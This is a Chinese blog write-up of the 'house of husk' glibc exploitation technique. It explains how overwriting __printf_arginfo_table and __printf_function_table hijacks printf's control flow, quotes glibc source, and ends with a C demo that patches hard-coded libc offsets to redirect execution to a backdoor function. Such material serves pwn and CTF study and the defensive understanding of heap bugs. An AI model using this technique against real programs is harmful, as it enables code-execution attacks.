• house of husk


    利用说明

    适用版本: glibc2.23 -- now

    利用场景: UAF/大堆块/存在格式化字符的使用

    利用条件:

    • 能使 __printf_function_table 处非空

    • 可以往 __printf_arginfo_table 处可写入地址

    效果与限制:

    可以劫持程序执行流, 但是参数不可控.

    利用方式:

    • 劫持 __printf_function_table 使其非空

    • 劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是后门或者我们的构造的利用链

    • 执行到 printf 函数时就可以将执行流劫持程序流

    spec 是格式化字符,比如最后调用的是 printf("%S\n",a), 那么应该将 __printf_arginfo_table['S'] 的位置写入我们想要执行的地址

    原理分析

    printf 函数通过检查 __printf_function_table[sepc] 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查.

    你可以把 __printf_arginfo_table[spec] 当作 %spechook, __printf_function_table[sepc] 则标志着是否存在 hook 函数. 如何存在, 则在执行诸如 printf("%spec") 等格式化函数时, 则会去调用 hook 函数

    __register_printf_function

    该函数的作用是允许用户自定义格式化字符并进行注册, 以打印用户自定义数据类型的数据. __register_printf_function 函数是对 __register_printf_specifier 进行的封装, 这里就只看 __register_printf_specifier 函数

    /* Register FUNC to be called to format SPEC specifiers.  */
    int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
    {   // spec 的范围在 [0, 255] 之间
        // #define UCHAR_MAX    255
        if (spec < 0 || spec > (int) UCHAR_MAX)
        {
            __set_errno (EINVAL);
            return -1;
        }
    ​
        int result = 0;
        __libc_lock_lock (lock); // 上锁
        // __printf_function_table 表是否为空
        if (__printf_function_table == NULL)
        {
            // 为 __printf_arginfo_table/__printf_function_table 分配空间
            // 可以看到这里分配的空间是: 256*8 * 2 = 0x1000
            // 第一个 256*8 是 __printf_arginfo_table 表
            // 第二个 256*8 是 __printf_function_table 表
            // 所以这两个表是挨着的
            __printf_arginfo_table = (printf_arginfo_size_function **)calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
            if (__printf_arginfo_table == NULL)
            {
                result = -1;
                goto out;
            }
            __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
        }
        // 为 spec 注册处理函数
        __printf_function_table[spec] = converter;
        __printf_arginfo_table[spec] = arginfo;
    ​
        out:
        __libc_lock_unlock (lock);
    ​
        return result;
    }
    libc_hidden_def (__register_printf_specifier)
    weak_alias (__register_printf_specifier, register_printf_specifier)

    整个逻辑还是比较清楚的, 来看看这两个表吧先.

    // 就是两个函数指针表
    typedef int printf_function (FILE *__stream,
                     const struct printf_info *__info,
                     const void *const *__args);
    ​
    typedef int printf_arginfo_size_function (const struct printf_info *__info,
                          size_t __n, int *__argtypes,
                          int *__size);
    

    vprintf

    printf 函数调用了 vfprintf 函数,下面的代码是 vprintf 函数中的部分片段, 可以看出来如果 __printf_function_table 不为空, 那么就会调用 printf_positional 函数; 如果为空的话, 就会去执行默认格式化字符的代码部分.

    int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
    {
    ......
      /* Use the slow path in case any printf handler is registered.  */
        if (__glibc_unlikely (__printf_function_table != NULL
                              || __printf_modifier_table != NULL
                              || __printf_va_arg_table != NULL))
            goto do_positional;
     ......
      /* Hand off processing for positional parameters.  */
    do_positional:
    ......
        done = printf_positional (s, format, readonly_format, ap, &ap_save,
                    done, nspecs_done, lead_str_end, work_buffer,
                    save_errno, grouping, thousands_sep, mode_flags);
    ......
      return done;
    }

    printf_positional 函数中会在调用 __parse_one_specmb 函数: 一般都是这个, 调试的时候走的就是他

          /* Parse the format specifier.  */
    #ifdef COMPILE_WPRINTF
          nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
    #else
          nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
    #endif
    ......

    这两个函数好像是一个玩意:)绷:

    size_t
    attribute_hidden
    #ifdef COMPILE_WPRINTF
    __parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
    #else
    __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
    #endif
    {
    ......
      if (__builtin_expect (__printf_function_table == NULL, 1)
          || spec->info.spec > UCHAR_MAX
          || __printf_arginfo_table[spec->info.spec] == NULL
          || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) 
                        (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0)
        {
     ......

    可以看到当 __printf_function_table 不为空时, 最后执行了 (*__printf_arginfo_table[spec->info.spec]) 指向的函数, 这里就是注册的函数指针. 所以如果我们能够篡改 __printf_arginfo_table 中存放的地址, 将其改为我们可控的内存地址, 这样就需要在 __printf_arginfo_table[spec] 写上我们想要执行的函数地址即可控制程序的执行流, 但是这里的参数适合不可控.(没有细研究, printf 的调用链挺复杂的)

    __printf_arginfo_table[spec->info.spec] 是设置参数类型的函数

    利用方式

    __printf_arginfo_table__printf_function_table 是在 libc 上, 可读可写, 所以我们可以篡改其的值到堆上, 然后在堆上设置相关函数指针:

    demo 如下:

    #include 
    #include 
    void backdoor()
    {
            puts("hacker");
    }
    ​
    int main()
    {
            char* s = "hello world";
            long long* table = malloc(0x1000);
            long long* args_table = &table[0];
            long long* func_table = &table[256];
    ​
            long long libc = (long long)&puts - 0x84420;
            printf("libc base: %#p\n", libc);
            *(long long*)(libc + 0x1ed7b0) = (long long)args_table;
            *(long long*)(libc + 0x1f1318) = (long long)func_table;
    ​
            args_table['s'] = (long long)backdoor;
            func_table['s'] = (long long)backdoor;
            printf("content: %s\n", s);
            return 0;
    }

    效果如下:

    libc base: 0x7fb7270d0000
    content: hacker
    hacker
    hacker
    ​

  • 相关阅读:
    Transformer ZOO
    linux的ping及telnet
    C#if...else...判断
    React中父子组件参数传递讲解
    docker安装postgresSQL和设置自定义数据目录
    ffmeg 中fftools/Makefile 分析
    MySQL-----多表查询(一)
    Git 的基本使用(笔记)
    第十章 STL
    振弦采集仪安全监测路基边坡的解决方案
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134521563